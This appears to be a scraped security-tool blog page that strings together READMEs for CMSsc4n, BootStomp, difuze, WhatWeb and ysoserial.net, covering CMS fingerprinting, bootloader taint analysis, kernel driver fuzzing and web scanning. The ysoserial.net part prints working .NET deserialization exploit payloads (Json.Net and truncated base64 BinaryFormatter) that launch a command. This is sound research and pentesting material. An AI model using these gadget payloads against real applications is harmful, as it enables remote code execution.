Termux ID: JSON -->

    Social Items

Home / JSON

Tool to identify if a domain is a CMS such as Wordpress, Moodle, Joomla, Drupal or Prestashop.

Use
python cmssc4n.py -h 
 _____ __  __  _____          _  _       
  / ____|  \/  |/ ____|        | || |      
 | |    | \  / | (___  ___  ___| || |_ _ __  
 | |    | |\/| |\___ \/ __|/ __|__   _| '_ \ 
 | |____| |  | |____) \__ \ (__   | | | | | |
  \_____|_|  |_|_____/|___/\___|  |_| |_| |_|

** Tool to scan if a domain is a CMS (Wordpress , Drupal, Joomla, Prestashop or Moodle) and return the version
    ** Author: Ignacio Brihuega Rodriguez a.k.a N4xh4ck5
    ** Version 1.0
    ** DISCLAMER This tool was developed for educational goals. 
    ** The author is not responsible for using to others goals.
    ** A high power, carries a high responsibility!
usage: cmssc4n.py [-h] -e EXPORT -i INPUT

This tool verifies if the domain is a CMS (Wordpress , Drupal, Joomla, Prestashop or Moodle) and returns the version

optional arguments:
  -h, --help            show this help message and exit
  -e EXPORT, --export EXPORT
                        Indicate the type of format to export results.
                         1.json (by default)
                         2.xlsx
  -i INPUT, --input INPUT
                        File in json format which contains the domains want to know if they are a CMS


CMSsc4n - Tool to identify if a domain is a CMS such as Wordpress, Moodle, Joomla, Drupal or Prestashop


BootStomp is a boot-loader bug finder. It looks for two different class of bugs: memory corruption and state storage vulnerabilities. For more info please refer to the BootStomp paper at https://seclab.cs.ucsb.edu/academic/publishing/#bootstomp-security-bootloaders-mobile-devices-2017
To run BootStomp's analyses, please read the following instructions. Note that BootStomp works with boot-loaders compiled for ARM architectures (32 and 64 bits both) and that results might slightly vary depending on angr and Z3's versions. This is because of the time angr takes to analyze basic blocks and to Z3's expression concretization results.

Directory structure
  • analysis: Contains analysis results (Ex: IDA idbs etc) of boot images of different devices.
  • tools: Contains tools that can be used to work with various images.

Pre-requisites
$ pip install angr

How to run it

Run BootStomp using docker
The easiest way to use BootStomp is to run it in a docker container. The folder docker contains an appropriate Dockerfile. These are the commands to use it.
cd docker
# build the docker image
docker build -t bootstomp .
# run the docker image (if you need, use proper options to have persistent changes or shared files)
docker run -it bootstomp

# now you are inside a docker container
cd BootStomp
# run BootStomp's taint analysis on one of the examples
# this will take about 30 minutes
python taint_analysis/bootloadertaint.py config/config.huawei
# the last line of the output will be something like:
# INFO    | 2017-10-14 01:54:10,617 | _CoreTaint | Results in /tmp/BootloaderTaint_fastboot.img_.out

# you can then "pretty print" the results using:
python taint_analysis/result_pretty_print.py /tmp/BootloaderTaint_fastboot.img_.out
The output should be something like this:
...
17)
===================== Start Info path =====================
Dereference address at: 0x5319cL
Reason: at location 0x5319cL a tainted variable is dereferenced and used as address.
...
Tainted Path 
----------------
0x52f3cL -> 0x52f78L -> 0x52f8cL -> 0x52fb8L -> 0x52fc8L -> 0x52fecL -> 0x53000L -> 0x53014L -> 0x5301cL -> 0x53030L -> 0x53044L -> 0x53050L -> 0x5305cL -> 0x53068L
===================== End Info path =====================
# Total sinks related alerts: 5
# Total loop related alerts: 8
# Total dereference related alerts: 4

Run BootStomp manually

Automatic detection of taint sources and sinks
  1. Load the boot-loader binary in IDA (we used v6.95). Depending on the CPU architecture of the phone it has been extracted from, 32 bit or 64 bit IDA is needed.
  2. From the menu-bar, run File => Script file => find_taint.py
  3. Output will appear in the file taint_source_sink.txt under the same directory as the boot-loader itself.

Configuration file
Create a JSON configuration file for the boot-loader binary (see examples in config/), where:
  • bootloader: boot-loader file path
  • info_path: boot-loader source/sink info file path (i.e., taint_source_sink.txt )
  • arch: architecture's number of bits (available options are 32 and 64)
  • enable_thumb: consider thumb mode (when needed) during the analysis
  • start_with_thumb: starts the analysis with thumb mode enabled
  • exit_on_dec_error: stop the analysis if some instructions cannot be decoded
  • unlock_addr: unlocking function address. This field is necessary only for finding insecure state storage vulnerabilities.

Finding memory corruption vulnerabilities
Run
python bootloadertaint.py config-file-path
Results will be stored in /tmp/BootloaderTaint_[boot-loader].out, where [boot-loader] is the name of the analyzed boot-loader. Note that paths involving loops might appear more than once.

Finding insecure state storage vulnerability
Run
python unlock_checker.py config-file-path
Results will be stored in /tmp/UnlockChecker_[boot-loader].out, where [boot-loader] is the name of the analyzed boot-loader. Note that paths involving loops might appear more than once.

Checking results
To check BootStomp results, use the script result_pretty_print.py, as follows:
python result_pretty_print.py results_file

Exploit for CVE-2017-2729

Other references


BootStomp - A Bootloader Vulnerability Finder


Fuzzer for Linux Kernel Drivers

Tested on
Ubuntu >= 14.04.5 LTS
As explained in our paper, There are two main components of difuze: Interface Recovery and Fuzzing Engine

1. Interface Recovery
The Interface recovery mechanism is based on LLVM analysis passes. Every step of interface recovery are written as individual passes. Follow the below instructions on how to get the Interface Recovery up and running.

1.1 Setup
This step takes care of installing LLVM and c2xml:
First, make sure that you have libxml (required for c2xml):
sudo apt-get install libxml2-dev
Next, We have created a single script, which downloads and builds all the required tools.
cd helper_scripts
python setup_difuze.py --help
usage: setup_difuze.py [-h] [-b TARGET_BRANCH] [-o OUTPUT_FOLDER]

optional arguments:
  -h, --help        show this help message and exit
  -b TARGET_BRANCH  Branch (i.e. version) of the LLVM to setup. Default:
                    release_38 e.g., release_38
  -o OUTPUT_FOLDER  Folder where everything needs to be setup.
Example:
python setup_difuze.py -o difuze_deps
To complete the setup you also need modifications to your local PATH environment variable. The setup script will give you exact changes you need to do.

1.2 Building
This depends on the successful completion of Setup. We have a single script that builds everything, you are welcome.
cd InterfaceHandlers
./build.sh

1.3 Running
This depends on the successful completion of Build. To run the Interface Recovery components on kernel drivers, we need to first the drivers into llvm bitcode.

1.3.1 Building kernel
First, we need to have a buildable kernel. Which means you should be able to compile the kernel using regular build setup. i.e., make. We first capture the output of make command, from this output we extract the exact compilation command.

1.3.1.1 Generating output of make (or makeout.txt)
Just pass V=1 and redirect the output to the file. Example:
make V=1 O=out ARCH=arm64 > makeout.txt 2>&1
NOTE: DO NOT USE MULTIPLE PROCESSES i.e., -j. Running in multi-processing mode will mess up the output file as multiple process try to write to the output file.
That's it. Next, in the following step our script takes the generated makeout.txt and run the Interface Recovery on all the recognized drivers.

1.3.2 Running Interface Recovery analysis
All the various steps of Interface Recovery are wrapped in a single script helper_scripts/run_all.py How to run:
cd helper_scripts
python run_all.py --help

usage: run_all.py [-h] [-l LLVM_BC_OUT] [-a CHIPSET_NUM] [-m MAKEOUT]
                  [-g COMPILER_NAME] [-n ARCH_NUM] [-o OUT]
                  [-k KERNEL_SRC_DIR] [-skb] [-skl] [-skp] [-skP] [-ske]
                  [-skI] [-ski] [-skv] [-skd] [-f IOCTL_FINDER_OUT]

optional arguments:
  -h, --help           show this help message and exit
  -l LLVM_BC_OUT       Destination directory where all the generated bitcode
                       files should be stored.
  -a CHIPSET_NUM       Chipset number. Valid chipset numbers are:
                       1(mediatek)|2(qualcomm)|3(huawei)|4(samsung)
  -m MAKEOUT           Path to the makeout.txt file.
  -g COMPILER_NAME     Name of the compiler used in the makeout.txt, This is
                       needed to filter out compilation commands. Ex: aarch64
                       -linux-android-gcc
  -n ARCH_NUM          Destination architecture, 32 bit (1) or 64 bit (2).
  -o OUT               Path to the out folder. This is the folder, which could
                       be used as output directory during compiling some
                       kernels.
  -k KERNEL_SRC_DIR    Base directory of the kernel sources.
  -skb                 Skip LLVM Build (default: not skipped).
  -skl                 Skip Dr Linker (default: not skipped).
  -skp                 Skip Parsing Headers (default: not skipped).
  -skP                 Skip Generating Preprocessed files (default: not
                       skipped).
  -ske                 Skip Entry point identification (default: not skipped).
  -skI                 Skip Generate Includes (default: not skipped).
  -ski                 Skip IoctlCmdParser run (default: not skipped).
  -skv                 Skip V4L2 ioctl processing (default: not skipped).
  -skd                 Skip Device name finder (default: not skipped).
  -f IOCTL_FINDER_OUT  Path to the output folder where the ioctl command
                       finder output should be stored.
The script builds, links and runs Interface Recovery on all the recognized drivers, as such it might take considerable time(45 min-90 min).
The above script performs following tasks in a multiprocessor mode to make use of all CPU cores:

1.3.2.1 LLVM Build
  • Enabled by default.
All the bitcode files generated will be placed in the folder provided to the argument -l. This step takes considerable time, depending on the number of cores you have. So, if you had already done this step, You can skip this step by passing -skb.

1.3.2.2 Linking all driver bitcode files in s consolidated bitcode file.
  • Enabled by default
This performs linking, it goes through all the bitcode files and identifies the related bitcode files that need to be linked and links them (using llvm-link) in to a consolidated bitcode file (which will be stored along side corresponding bitcode file).
Similar to the above step, you can skip this step by passing -skl.

1.3.2.3 Parsing headers to identify entry function fields.
  • Enabled by default.
This step looks for the entry point declarations in the header files and stores their configuration in the file: hdr_file_config.txt under LLVM build directory.
To skip: -skp

1.3.2.4 Identify entry points in all the consolidated bitcode files.
  • Enabled by default
This step identifies all the entry points across all the driver consolidated bitcode files. The output will be stored in file: entry_point_out.txt under LLVM build directory.
Example of contents in the file entry_point_out.txt:
IOCTL:msm_lsm_ioctl:/home/difuze/kernels/pixel/msm/sound/soc/msm/qdsp6v2/msm-lsm-client.c:msm_lsm_ioctl.txt:/home/difuze/pixel/llvm_out/sound/soc/msm/qdsp6v2/llvm_link_final/final_to_check.bc
IOCTL:msm_pcm_ioctl:/home/difuze/kernels/pixel/msm/sound/soc/msm/qdsp6v2/msm-pcm-lpa-v2.c:msm_pcm_ioctl.txt:/home/difuze/pixel/llvm_out/sound/soc/msm/qdsp6v2/llvm_link_final/final_to_check.bc
To skip: -ske

1.3.2.5 Run Ioctl Cmd Finder on all the identified entry points.
  • Enabled by default.
This step will run the main Interface Recovery component (IoctlCmdParser) on all the entry points in the file entry_point_out.txt. The output for each entry point will be stored in the folder provided for option -f.
To skip: -ski

1.4 Example:
Now, we will show an example from the point where you have kernel sources to the point of getting Interface Recovery results.
We have uploaded a mediatek kernel 33.2.A.3.123.tar.bz2. First download and extract the above file.
Lets say you extracted the above file in a folder called: ~/mediatek_kernel

1.4.1 Building
cd ~/mediatek_kernel
source ./env.sh
cd kernel-3.18
# the following step may not be needed depending on the kernel
mkdir out
make O=out ARCH=arm64 tubads_defconfig
# this following command copies all the compilation commands to makeout.txt
make V=1 -j8 O=out ARCH=arm64 > makeout.txt 2>&1

1.4.2 Running Interface Recovery
cd <repo_path>/helper_scripts

python run_all.py -l ~/mediatek_kernel/llvm_bitcode_out -a 1 -m ~/mediatek_kernel/kernel-3.18/makeout.txt -g aarch64-linux-android-gcc -n 2 -o ~/mediatek_kernel/kernel-3.18/out -k ~/mediatek_kernel/kernel-3.18 -f ~/mediatek_kernel/ioctl_finder_out
The above command takes quite some time (30 min - 1hr).

1.4.3 Understanding the output
First, all the analysis results will be in the folder: ~/mediatek_kernel/ioctl_finder_out (argument given to the option -f), for each entry point a .txt file will be created, which contains all the information about the recovered interface.
If you are interested in information about just the interface and don't care about anything else, We recommend you use the parse_interface_output.py script. This script converts the crazy output of Interface Recovery pass into nice json files with a clean and consistent format.
cd <repo_path>/helper_scripts
python parse_interface_output.py <ioctl_finder_out_dir> <output_directory_for_json_files>
Here <ioctl_finder_out_dir> should be same as the folder you provided to the -f option and <output_directory_for_json_files> is the folder where the json files should be created.
You can use the corresponding json files for the interface recovery of the corresponding ioctl.

1.4.4 Things to note:

1.4.4.1 Value for option -g
To provide value for option -g you need to know the name of the *-gcc binary used to compile the kernel. An easy way to know this would be to grep for gcc in makeout.txt and you will see compiler commands from which you can know the *-gcc binary name.
For our example above, if you do grep gcc makeout.txt for the example build, you will see lot of lines like below:
aarch64-linux-android-gcc -Wp,-MD,fs/jbd2/.transaction.o.d  -nostdinc -isystem ...
So, the value for -g should be aarch64-linux-android-gcc.
If the kernel to be built is 32-bit then the binary most likely will be arm-eabi-gcc
For Qualcomm (or msm) chipsets, you may see *gcc-wrapper.py instead of *.gcc, in which case you should provide the *gcc-wrapper.py.

1.4.4.2 Value for option -a
Depeding on the chipset type, you need to provide corresponding number.

1.4.4.3 Value for option -o
This is the path of the folder provided to the option O= for make command during kernel build.
Not all kernels need a separate out path. You may build kernel by not providing an option O, in which case you SHOULD NOT provide value for that option while running run_all.py.

1.5 Post Processing
Before we can begin fuzzing we need to process the output a bit with our very much research quality (sorry) parsers.
These are found here. The main script to run will be run_all.py:
$ python run_all.py --help
usage: run_all.py [-h] -f F -o O [-n {manual,auto,hybrid}] [-m M]

run_all options

optional arguments:
  -h, --help            show this help message and exit
  -f F                  Filename of the ioctl analysis output OR the entire
                        output directory created by the system
  -o O                  Output directory to store the results. If this
                        directory does not exist it will be created
  -n {manual,auto,hybrid}
                        Specify devname options. You can choose manual
                        (specify every name manually), auto (skip anything that
                        we don't identify a name for), or hybrid (if we
                        detected a name, we use it, else we ask the user)
  -m M                  Enable multi-device output most ioctls only have one
                        applicable device node, but some may have multiple. (0
                        to disable)
You'll want to pass -f the output directory of the ioctl analysis e.g. ~/mediatek_kernel/ioctl_finder_out.
-o Is where you where to store the post-processed results. These will be easily digestible XML files (jpits).
-n Specifies the system to what degree you want to rely on our device name recovery. If you don't want to do any work/name hunting, you can specify auto. This of course comes at the cost of skipping any device for which we don't recover a name. If you want to be paranoid and not trust any of our recovery efforts (totally reasonable) you can use the manual option to name every single device yourself. hybrid then is a combination of both -- we will name the device for you when we can, and fall back to you when we've failed.
-m Sometimes ioctls can correspond to more than one device (this is common with v4l2/subdev ioctls for example). Support for this in enabled by default, but it requires user interaction to specify the numberof devices for each device. If this is too annoying for you, you can disable the prompt by passing -m 0 (we will assume a single device for each ioctl).
After running, you should have, in your out folder, a folder for each ioctl.

2 Fuzzing

2.1 Mango Fuzz
MangoFuzz is our simple prototype fuzzer and is based off of Peach (specifically MozPeach).
It's not a particularly sophisticated fuzzer but it does find bugs. It was also built to be easily expandable. There are 2 components to this fuzzer, the fuzz engine and the executor. The executor can be found here, and the fuzz engine can be found here.

2.1.1 Executor
The executor runs on the phone, listening for data that the fuzz engine will send to it.
Simply compile it for your phones architecture, adb push it on to the phone, and execute with the port you want it to listen on!

2.1.2 Fuzz Engine
Interfacing with MangoFuzz is fairly simple. You'll want an Engine object and a Parser object, which you'll feed your engine into. >From here, you parse jpits with your Parser, and then run the Engine. Easy! We've provided some simple run scripts to get you started.
To run against specific drivers you can use runner.py on one of the ioctl folders in the output directory (created by our post processing scripts).
e.g. ./runner.py -f honor8/out/chb -num 1000. This tells MangoFuzz to run for 1000 iterations against all ioctl command value pairs pertaining to the chb ioctl/driver.
If instead we want to run against an entire device (phone), you can use dev_runner.py. e.g. ./dev_runner.py -f honor8/out -num 100. This will continue looping over the driver files, randomly switching between them for 100 iterations each.
Note that before the fuzz engine can communicate with the phone, you'll need to use ADB to set up port forwarding e.g. adb forward tcp:2022 tcp:2022


difuze - Fuzzer for Linux Kernel Drivers


WhatWeb identifies websites. Its goal is to answer the question, “What is that Website?”. WhatWeb recognises web technologies including content management systems (CMS), blogging platforms, statistic/analytics packages, JavaScript libraries, web servers, and embedded devices. WhatWeb has over 1700 plugins, each to recognise something different. WhatWeb also identifies version numbers, email addresses, account IDs, web framework modules, SQL errors, and more.

WhatWeb can be stealthy and fast, or thorough but slow. WhatWeb supports an aggression level to control the trade off between speed and reliability. When you visit a website in your browser, the transaction includes many hints of what web technologies are powering that website. Sometimes a single webpage visit contains enough information to identify a website but when it does not, WhatWeb can interrogate the website further. The default level of aggression, called ‘stealthy’, is the fastest and requires only one HTTP request of a website. This is suitable for scanning public websites. More aggressive modes were developed for use in penetration tests.

Most WhatWeb plugins are thorough and recognise a range of cues from subtle to obvious. For example, most WordPress websites can be identified by the meta HTML tag, e.g. ”, but a minority of WordPress websites remove this identifying tag but this does not thwart WhatWeb. The WordPress WhatWeb plugin has over 15 tests, which include checking the favicon, default installation files, login pages, and checking for “/wp-content/” within relative links.


 Features:
  • Over 1700 plugins
  • Control the trade off between speed/stealth and reliability
  • Plugins include example URLs
  • Performance tuning. Control how many websites to scan concurrently.
  • Multiple log formats: Brief (greppable), Verbose (human readable), XML, JSON, MagicTree, RubyObject, MongoDB, SQL, and ElasticSearch.
  • Proxy support including TOR
  • Custom HTTP headers
  • Basic HTTP authentication
  • Control over webpage redirection
  • Nmap-style IP ranges
  • Fuzzy matching
  • Result certainty awareness
  • Custom plugins defined on the command line


Example Usage

Using WhatWeb on a couple of websites:

Using a higher aggression level to identify the version of Joomla in use.

Help

.$$$     $.                                   .$$$     $.
$$$$     $$. .$$$  $$$ .$$$$$$.  .$$$$$$$$$$. $$$$     $$. .$$$$$$$. .$$$$$$.
$ $$     $$$ $ $$  $$$ $ $$$$$$. $$$$$ $$$$$$ $ $$     $$$ $ $$   $$ $ $$$$$$.
$ `$     $$$ $ `$  $$$ $ `$  $$$ $$' $ `$ `$$ $ `$     $$$ $ `$      $ `$  $$$'
$. $     $$$ $. $$$$$$ $. $$$$$$ `$  $. $  :' $. $     $$$ $. $$$$   $. $$$$$.
$::$  .  $$$ $::$  $$$ $::$  $$$     $::$     $::$  .  $$$ $::$      $::$  $$$$
$;;$ $$$ $$$ $;;$  $$$ $;;$  $$$     $;;$     $;;$ $$$ $$$ $;;$      $;;$  $$$$
$$$$$$ $$$$$ $$$$  $$$ $$$$  $$$     $$$$     $$$$$$ $$$$$ $$$$$$$$$ $$$$$$$$$'

WhatWeb - Next generation web scanner.
Version 0.4.7 by Andrew Horton aka urbanadventurer from Security-Assessment.com
Homepage: http://www.morningstarsecurity.com/research/whatweb

Usage: whatweb [options] 

TARGET SELECTION:
                  Enter URLs, filenames or nmap-format IP ranges.
                        Use /dev/stdin to pipe HTML directly
  --input-file=FILE, -i Identify URLs found in FILE, eg. -i /dev/stdin
  --url-prefix          Add a prefix to target URLs
  --url-suffix          Add a suffix to target URLs
  --url-pattern         Insert the targets into a URL. Requires --input-file,
                        eg. www.example.com/%insert%/robots.txt
  --example-urls, -e    Add example URLs for each selected plugin to the target
                        list. By default will add example URLs for all plugins.

AGGRESSION LEVELS:
  --aggression, -a=LEVEL The aggression level controls the trade-off between
                        speed/stealth and reliability. Default: 1
                        Aggression levels are:
        1 (Passive)     Make one HTTP request per target. Except for redirects.
        2 (Polite)      Reserved for future use
        3 (Aggressive)  Triggers aggressive plugin functions only when a
                        plugin matches passively.
        4 (Heavy)       Trigger aggressive functions for all plugins. Guess a
                        lot of URLs like Nikto.

HTTP OPTIONS:
  --user-agent, -U=AGENT Identify as AGENT instead of WhatWeb/0.4.7.
  --user, -u= HTTP basic authentication
  --header, -H          Add an HTTP header. eg "Foo:Bar". Specifying a default
                        header will replace it. Specifying an empty value, eg.
                        "User-Agent:" will remove the header.
  --follow-redirect=WHEN Control when to follow redirects. WHEN may be `never',
                        `http-only', `meta-only', `same-site', `same-domain'
                        or `always'. Default: always
  --max-redirects=NUM   Maximum number of contiguous redirects. Default: 10

SPIDERING:
  --recursion, -r       Follow links recursively. Only follow links under the
                        path Default: off
  --depth, -d           Maximum recursion depth. Default: 10
  --max-links, -m       Maximum number of links to follow on one page
                        Default: 250
  --spider-skip-extensions Redefine extensions to skip.
                        Default: zip,gz,tar,jpg,exe,png,pdf

PROXY:
  --proxy               <hostname[:port]> Set proxy hostname and port
                        Default: 8080
  --proxy-user           Set proxy user and password

PLUGINS:
  --plugins, -p         Comma delimited set of selected plugins. Default is all.
                        Each element can be a directory, file or plugin name and
                        can optionally have a modifier, eg. + or -
                        Examples: +/tmp/moo.rb,+/tmp/foo.rb
                        title,md5,+./plugins-disabled/
                        ./plugins-disabled,-md5
   -p + is a shortcut for -p +plugins-disabled
  --list-plugins, -l    List the plugins
  --info-plugins, -I    Display information for all plugins. Optionally search
                        with keywords in a comma delimited list.
  --custom-plugin       Define a custom plugin called Custom-Plugin,
                        Examples: ":text=>'powered by abc'"
                        ":regexp=>/powered[ ]?by ab[0-9]/"
                        ":ghdb=>'intitle:abc \"powered by abc\"'"
                        ":md5=>'8666257030b94d3bdb46e05945f60b42'"
                        "{:text=>'powered by abc'},{:regexp=>/abc [ ]?1/i}"

LOGGING & OUTPUT:
  --verbose, -v         Increase verbosity, use twice for plugin development.
  --colour,--color=WHEN control whether colour is used. WHEN may be `never',
                        `always', or `auto'
  --quiet, -q  Do not display brief logging to STDOUT
  --log-brief=FILE      Log brief, one-line output
  --log-verbose=FILE    Log verbose output
  --log-xml=FILE        Log XML format
  --log-json=FILE       Log JSON format
  --log-json-verbose=FILE Log JSON Verbose format
  --log-magictree=FILE  Log MagicTree XML format
  --log-object=FILE     Log Ruby object inspection format
  --log-mongo-database  Name of the MongoDB database
  --log-mongo-collection Name of the MongoDB collection. Default: whatweb
  --log-mongo-host      MongoDB hostname or IP address. Default: 0.0.0.0
  --log-mongo-username  MongoDB username. Default: nil
  --log-mongo-password  MongoDB password. Default: nil
  --log-errors=FILE     Log errors

PERFORMANCE & STABILITY:
  --max-threads, -t     Number of simultaneous threads. Default: 25.
  --open-timeout        Time in seconds. Default: 15
  --read-timeout        Time in seconds. Default: 30
  --wait=SECONDS        Wait SECONDS between connections
                        This is useful when using a single thread.

HELP & MISCELLANEOUS:
  --help, -h            This help
  --debug               Raise errors in plugins
  --version             Display version information. (WhatWeb 0.4.7)

EXAMPLE USAGE:
  whatweb example.com
  whatweb -v example.com
  whatweb -a 3 example.com
  whatweb 192.168.1.0/24

Changelog
  • Added unit testing with rake @bcoles
  • Added Elastic Search output @SlivTaMere
  • Source code formatting cleanup @Code0x58
  • Thread reuse and logging through a single thread @Code0x58
  • Fixed max-redirection bug @Code0x58
  • Fixed bug when using a proxy and HTTPS (unknown user)
  • Fixed timeout deprecation warning @iGeek098
  • New plugins and plugin updates @guikcd @bcoles @andreas-becker
  • Added proxy and user-agent to logging @rdubourguais
  • Updated Alexa top websites lists
  • Updated update-alexa script
  • Updated IP to Country database
  • Updated man page
  • Updated Mongo DB output for Mongo 2.x

WhatWeb v0.4.9 - Next Generation Web Scanner


A proof-of-concept tool for generating payloads that exploit unsafe .NET object deserialization.

Description
ysoserial.net is a collection of utilities and property-oriented programming "gadget chains" discovered in common .NET libraries that can, under the right conditions, exploit .NET applications performing unsafe deserialization of objects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes this data, the chain will automatically be invoked and cause the command to be executed on the application host.
It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having gadgets on the classpath.

This project is inspired by Chris Frohoff's ysoserial project

Usage
$ ./ysoserial -h
ysoserial.net generates deserialization payloads for a variety of .NET formatters.

Available formatters:
        ActivitySurrogateSelector (ActivitySurrogateSelector gadget by James Forshaw. This gadget ignores the command parameter and executes the constructor of ExploitClass class.)
                Formatters:
                        BinaryFormatter
                        ObjectStateFormatter
                        SoapFormatter
                        LosFormatter
        ObjectDataProvider (ObjectDataProvider Gadget by Oleksandr Mirosh and Alvaro Munoz)
                Formatters:
                        Json.Net
                        FastJson
                        JavaScriptSerializer
        PSObject (PSObject Gadget by Oleksandr Mirosh and Alvaro Munoz. Target must run a system not patched for CVE-2017-8565 (Published: 07/11/2017))
                Formatters:
                        BinaryFormatter
                        ObjectStateFormatter
                        SoapFormatter
                        NetDataContractSerializer
                        LosFormatter
        TypeConfuseDelegate (TypeConfuseDelegate gadget by James Forshaw)
                Formatters:
                        BinaryFormatter
                        ObjectStateFormatter
                        NetDataContractSerializer
                        LosFormatter
        WindowsIdentity (WindowsIdentity Gadget by Levi Broderick)
                Formatters:
                        Json.Net


Usage: ysoserial.exe [options]
Options:
  -o, --output=VALUE         the output format (raw|base64).
  -g, --gadget=VALUE         the gadget chain.
  -f, --formatter=VALUE      the formatter.
  -c, --command=VALUE        the command to be executed.
  -t, --test                 whether to run payload locally. Default: false
  -h, --help                 show this message and exit

Examples
$ ./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd','/ccalc']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
$ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
AAEAAAD/////AQAAAAAAAAAMAgAAAF9TeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLCBWZXJzaW9uPTMuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQUBAAAAJVN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uUFNPYmplY3QBAAAABkNsaVhtbAECAAAABgMAAACJFQ0KPE9ianMgVmVyc2lvbj0iMS4xLjAuMSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vcG93ZXJzaGVsbC8yMDA0LzA0Ij4mI3hEOw0KPE9iaiBSZWZJZD0iMCI+JiN4RDsNCiAgICA8VE4gUmVmSWQ9IjAiPiYjeEQ7DQogICAgICA8VD5NaWNyb3NvZnQuTWFuYWdlbWVudC5JbmZyYXN0cnVjdHVyZS5DaW1JbnN0YW5jZSNTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uL1J1bnNwYWNlSW52b2tlNTwvVD4mI3hEOw0KICAgICAgPFQ+TWljcm9zb2Z0Lk1hbmFnZW1lbnQuSW5mcmFzdHJ1Y3R1cmUuQ2ltSW5zdGFuY2UjUnVuc3BhY2VJbnZva2U1PC9UPiYjeEQ7DQogICAgICA8VD5NaWNyb3NvZnQuTWFuYWdlbWVudC5JbmZyYXN0cnVjdHVyZS5DaW1JbnN0YW5jZTwvVD4mI3hEOw0KICAgICAgPFQ+U3lzdGVtLk9iamVjdDwvVD4mI3hEOw0KICAgIDwvVE4+JiN4RDsNCiAgICA8VG9TdHJpbmc+UnVuc3BhY2VJbnZva2U1PC9Ub1N0cmluZz4mI3hEOw0KICAgIDxPYmogUmVmSWQ9IjEiPiYjeEQ7DQogICAgICA8VE5SZWYgUmVmSWQ9IjAiIC8+JiN4RDsNCiAgICAgIDxUb1N0cmluZz5SdW5zcGFjZUludm9rZTU8L1RvU3RyaW5nPiYjeEQ7DQogICAgICA8UHJvcHM+JiN4RDsNCiAgICAgICAgPE5pbCBOPSJQU0NvbXB1dGVyTmFtZSIgLz4mI3hEOw0KCQk8T2JqIE49InRlc3QxIiBSZWZJZCA9IjIwIiA+ICYjeEQ7DQogICAgICAgICAgPFROIFJlZklkPSIxIiA+ICYjeEQ7DQogICAgICAgICAgICA8VD5TeXN0ZW0uV2luZG93cy5NYXJrdXAuWGFtbFJlYWRlcltdLCBQcmVzZW50YXRpb25GcmFtZXdvcmssIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1PC9UPiYjeEQ7DQogICAgICAgICAgICA8VD5TeXN0ZW0uQXJyYXk8L1Q+JiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5PYmplY3Q8L1Q+JiN4RDsNCiAgICAgICAgICA8L1ROPiYjeEQ7DQogICAgICAgICAgPExTVD4mI3hEOw0KICAgICAgICAgICAgPFMgTj0iSGFzaCIgPiAgDQoJCSZsdDtSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSImZ3Q7DQoJICZsdDtPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgJmd0Ow0KICAgICAmbHQ7T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnMmZ3Q7DQogICAgICAgICZsdDtTeXN0ZW06U3RyaW5nJmd0O2NtZCZsdDsvU3lzdGVtOlN0cmluZyZndDsNCiAgICAgICAgJmx0O1N5c3RlbTpTdHJpbmcmZ3Q7L2MgImNhbGMiICZsdDsvU3lzdGVtOlN0cmluZyZndDsNCiAgICAgJmx0Oy9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycyZndDsNCiAgICAmbHQ7L09iamVjdERhdGFQcm92aWRlciZndDsNCiZsdDsvUmVzb3VyY2VEaWN0aW9uYXJ5Jmd0Ow0KCQkJPC9TPiYjeEQ7DQogICAgICAgICAgPC9MU1Q+JiN4RDsNCiAgICAgICAgPC9PYmo+JiN4RDsNCiAgICAgIDwvUHJvcHM+JiN4RDsNCiAgICAgIDxNUz4mI3hEOw0KICAgICAgICA8T2JqIE49Il9fQ2xhc3NNZXRhZGF0YSIgUmVmSWQgPSIyIj4gJiN4RDsNCiAgICAgICAgICA8VE4gUmVmSWQ9IjEiID4gJiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5Db2xsZWN0aW9ucy5BcnJheUxpc3Q8L1Q+JiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5PYmplY3Q8L1Q+JiN4RDsNCiAgICAgICAgICA8L1ROPiYjeEQ7D